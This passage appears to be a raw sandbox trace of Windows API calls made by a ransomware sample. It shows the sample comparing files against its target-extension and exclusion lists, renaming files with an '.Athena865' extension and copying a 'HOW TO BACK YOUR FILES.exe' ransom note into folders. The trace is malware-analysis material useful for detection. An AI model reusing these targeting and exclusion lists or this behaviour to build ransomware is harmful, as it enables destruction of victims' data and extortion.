(lpString1="exe", lpString2="pan") returned -1 [0038.485] lstrlenW (lpString="pdb") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0038.485] lstrlenW (lpString="pdm") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0038.485] lstrlenW (lpString="pnz") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0038.485] lstrlenW (lpString="qry") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0038.485] lstrlenW (lpString="qvd") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0038.485] lstrlenW (lpString="rbf") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0038.485] lstrlenW (lpString="rctd") returned 4 [0038.485] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0038.485] lstrlenW (lpString="rod") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0038.485] lstrlenW (lpString="rodx") returned 4 [0038.485] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0038.485] lstrlenW (lpString="rpd") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0038.486] lstrlenW (lpString="rsd") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0038.486] lstrlenW (lpString="sas7bdat") returned 8 [0038.486] lstrcmpiW (lpString1="tion.exe", lpString2="sas7bdat") returned 1 [0038.486] lstrlenW (lpString="sbf") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0038.486] lstrlenW (lpString="scx") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0038.486] lstrlenW (lpString="sdb") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0038.486] lstrlenW (lpString="sdc") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0038.486] lstrlenW (lpString="sdf") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0038.486] lstrlenW (lpString="sis") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0038.486] lstrlenW (lpString="spq") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0038.486] lstrlenW (lpString="te") returned 2 [0038.486] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0038.486] lstrlenW (lpString="teacher") returned 7 [0038.486] lstrcmpiW (lpString1="ion.exe", lpString2="teacher") returned -1 [0038.486] lstrlenW (lpString="tmd") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0038.486] lstrlenW (lpString="tps") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0038.486] lstrlenW (lpString="trc") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.486] lstrlenW (lpString="trc") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.486] lstrlenW (lpString="trm") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0038.486] lstrlenW (lpString="udb") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0038.486] lstrlenW (lpString="udl") returned 3 [0038.486] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0038.487] lstrlenW (lpString="usr") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0038.487] lstrlenW (lpString="v12") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0038.487] lstrlenW (lpString="vis") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0038.487] lstrlenW (lpString="vpd") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0038.487] lstrlenW (lpString="vvv") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0038.487] lstrlenW (lpString="wdb") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0038.487] lstrlenW (lpString="wmdb") returned 4 [0038.487] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0038.487] lstrlenW (lpString="wrk") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0038.487] lstrlenW (lpString="xdb") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0038.487] lstrlenW (lpString="xld") returned 3 [0038.487] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0038.487] lstrlenW (lpString="xmlff") returned 5 [0038.487] lstrcmpiW (lpString1="n.exe", lpString2="xmlff") returned -1 [0038.487] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe.Athena865") returned 78 [0038.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe" (normalized: "c:\\program files\\microsoft synchronization services\\appreciation.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\appreciation.exe.athena865"), dwFlags=0x1) returned 1 [0038.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\appreciation.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0038.488] GetLastError () returned 0x20 [0038.488] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe CreateFile error 32\r\n") returned 98 [0038.488] lstrlenA (lpString="[ERROR] C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe CreateFile error 32\r\n") returned 98 [0038.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0038.488] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1594 [0038.488] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x62, lpOverlapped=0x0) returned 1 [0038.489] CloseHandle (hObject=0x154) returned 1 [0038.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\appreciation.exe.athena865"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\appreciation.exe" (normalized: "c:\\program files\\microsoft synchronization services\\appreciation.exe"), dwFlags=0x1) returned 1 [0038.490] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0038.490] CloseHandle (hObject=0x0) returned 0 [0038.490] CloseHandle (hObject=0xffffffff) returned 0 [0038.490] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3208eb0, ftCreationTime.dwHighDateTime=0x1d53387, ftLastAccessTime.dwLowDateTime=0xaac331b0, ftLastAccessTime.dwHighDateTime=0x1d57329, ftLastWriteTime.dwLowDateTime=0xaac331b0, ftLastWriteTime.dwHighDateTime=0x1d57329, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circuit adelaide.exe", cAlternateFileName="CIRCUI~1.EXE")) returned 1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2=".") returned 1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="..") returned 1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="windows") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="bootmgr") returned 1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="temp") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="pagefile.sys") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="boot") returned 1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="ids.txt") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="ntuser.dat") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="perflogs") returned -1 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2="MSBuild") returned -1 [0038.490] lstrlenW (lpString="circuit adelaide.exe") returned 20 [0038.490] lstrcpyW (in: lpString1=0x241e8b0, lpString2="circuit adelaide.exe" | out: lpString1="circuit adelaide.exe") returned="circuit adelaide.exe" [0038.490] lstrlenW (lpString="circuit adelaide.exe") returned 20 [0038.490] lstrlenW (lpString="Athena865") returned 9 [0038.490] lstrcmpiW (lpString1="laide.exe", lpString2="Athena865") returned 1 [0038.490] lstrlenW (lpString=".dll") returned 4 [0038.490] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2=".dll") returned 1 [0038.491] lstrlenW (lpString=".lnk") returned 4 [0038.491] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2=".lnk") returned 1 [0038.491] lstrlenW (lpString=".ini") returned 4 [0038.491] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2=".ini") returned 1 [0038.491] lstrlenW (lpString=".sys") returned 4 [0038.491] lstrcmpiW (lpString1="circuit adelaide.exe", lpString2=".sys") returned 1 [0038.491] lstrlenW (lpString="circuit adelaide.exe") returned 20 [0038.491] lstrlenW (lpString="bak") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.491] lstrlenW (lpString="ba_") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.491] lstrlenW (lpString="dbb") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.491] lstrlenW (lpString="vmdk") returned 4 [0038.491] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.491] lstrlenW (lpString="rar") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.491] lstrlenW (lpString="zip") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.491] lstrlenW (lpString="tgz") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.491] lstrlenW (lpString="vbox") returned 4 [0038.491] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.491] lstrlenW (lpString="vdi") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.491] lstrlenW (lpString="vhd") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.491] lstrlenW (lpString="vhdx") returned 4 [0038.491] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.491] lstrlenW (lpString="avhd") returned 4 [0038.491] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.491] lstrlenW (lpString="db") returned 2 [0038.491] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.491] lstrlenW (lpString="db2") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.491] lstrlenW (lpString="db3") returned 3 [0038.491] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.491] lstrlenW (lpString="dbf") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.492] lstrlenW (lpString="mdf") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.492] lstrlenW (lpString="mdb") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.492] lstrlenW (lpString="sql") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.492] lstrlenW (lpString="sqlite") returned 6 [0038.492] lstrcmpiW (lpString1="de.exe", lpString2="sqlite") returned -1 [0038.492] lstrlenW (lpString="sqlite3") returned 7 [0038.492] lstrcmpiW (lpString1="ide.exe", lpString2="sqlite3") returned -1 [0038.492] lstrlenW (lpString="sqlitedb") returned 8 [0038.492] lstrcmpiW (lpString1="aide.exe", lpString2="sqlitedb") returned -1 [0038.492] lstrlenW (lpString="xml") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.492] lstrlenW (lpString="$er") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.492] lstrlenW (lpString="4dd") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.492] lstrlenW (lpString="4dl") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.492] lstrlenW (lpString="^^^") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.492] lstrlenW (lpString="abs") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.492] lstrlenW (lpString="abx") returned 3 [0038.492] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.492] lstrlenW (lpString="accdb") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0038.492] lstrlenW (lpString="accdc") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0038.492] lstrlenW (lpString="accde") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0038.492] lstrlenW (lpString="accdr") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0038.492] lstrlenW (lpString="accdt") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0038.492] lstrlenW (lpString="accdw") returned 5 [0038.492] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0038.493] lstrlenW (lpString="accft") returned 5 [0038.493] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0038.493] lstrlenW (lpString="adb") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.493] lstrlenW (lpString="adb") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.493] lstrlenW (lpString="ade") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.493] lstrlenW (lpString="adf") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.493] lstrlenW (lpString="adn") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.493] lstrlenW (lpString="adp") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.493] lstrlenW (lpString="alf") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.493] lstrlenW (lpString="ask") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.493] lstrlenW (lpString="btr") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.493] lstrlenW (lpString="cat") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.493] lstrlenW (lpString="cdb") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.493] lstrlenW (lpString="ckp") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.493] lstrlenW (lpString="cma") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.493] lstrlenW (lpString="cpd") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.493] lstrlenW (lpString="dacpac") returned 6 [0038.493] lstrcmpiW (lpString1="de.exe", lpString2="dacpac") returned 1 [0038.493] lstrlenW (lpString="dad") returned 3 [0038.493] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.493] lstrlenW (lpString="dadiagrams") returned 10 [0038.493] lstrcmpiW (lpString1="elaide.exe", lpString2="dadiagrams") returned 1 [0038.493] lstrlenW (lpString="daschema") returned 8 [0038.493] lstrcmpiW (lpString1="aide.exe", lpString2="daschema") returned -1 [0038.493] lstrlenW (lpString="db-journal") returned 10 [0038.494] lstrcmpiW (lpString1="elaide.exe", lpString2="db-journal") returned 1 [0038.494] lstrlenW (lpString="db-shm") returned 6 [0038.494] lstrcmpiW (lpString1="de.exe", lpString2="db-shm") returned 1 [0038.494] lstrlenW (lpString="db-wal") returned 6 [0038.494] lstrcmpiW (lpString1="de.exe", lpString2="db-wal") returned 1 [0038.494] lstrlenW (lpString="dbc") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.494] lstrlenW (lpString="dbs") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.494] lstrlenW (lpString="dbt") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.494] lstrlenW (lpString="dbv") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.494] lstrlenW (lpString="dbx") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.494] lstrlenW (lpString="dcb") returned 3 [0038.494] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.494] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe.Athena865") returned 82 [0038.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe" (normalized: "c:\\program files\\microsoft synchronization services\\circuit adelaide.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\circuit adelaide.exe.athena865"), dwFlags=0x1) returned 1 [0038.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\circuit adelaide.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0038.495] GetLastError () returned 0x20 [0038.495] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe CreateFile error 32\r\n") returned 102 [0038.495] lstrlenA (lpString="[ERROR] C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe CreateFile error 32\r\n") returned 102 [0038.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0038.495] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15f6 [0038.495] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x66, lpOverlapped=0x0) returned 1 [0038.495] CloseHandle (hObject=0x154) returned 1 [0038.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe.Athena865" (normalized: "c:\\program files\\microsoft synchronization services\\circuit adelaide.exe.athena865"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\circuit adelaide.exe" (normalized: "c:\\program files\\microsoft synchronization services\\circuit adelaide.exe"), dwFlags=0x1) returned 1 [0038.496] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0038.496] CloseHandle (hObject=0x0) returned 0 [0038.497] CloseHandle (hObject=0xffffffff) returned 0 [0038.497] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.497] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.497] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0038.497] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.497] ReleaseMutex (hMutex=0xec) returned 1 [0038.497] CloseHandle (hObject=0xec) returned 1 [0038.497] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Reference Assemblies" | out: lpString1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0038.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515c90 | out: hHeap=0x4f0000) returned 1 [0038.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c398 | out: hHeap=0x4f0000) returned 1 [0038.497] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies") returned 37 [0038.497] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BDEF83148122D850DA55B4D68302A238") returned 0xec [0038.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.497] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies" | out: lpString1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0038.497] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.498] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.498] GetLastError () returned 0x0 [0038.498] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.498] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.498] CloseHandle (hObject=0xf4) returned 1 [0038.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.498] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.498] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.498] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.498] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.498] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.498] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.498] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.498] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.498] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.498] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.498] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.498] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0038.498] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.498] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.498] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 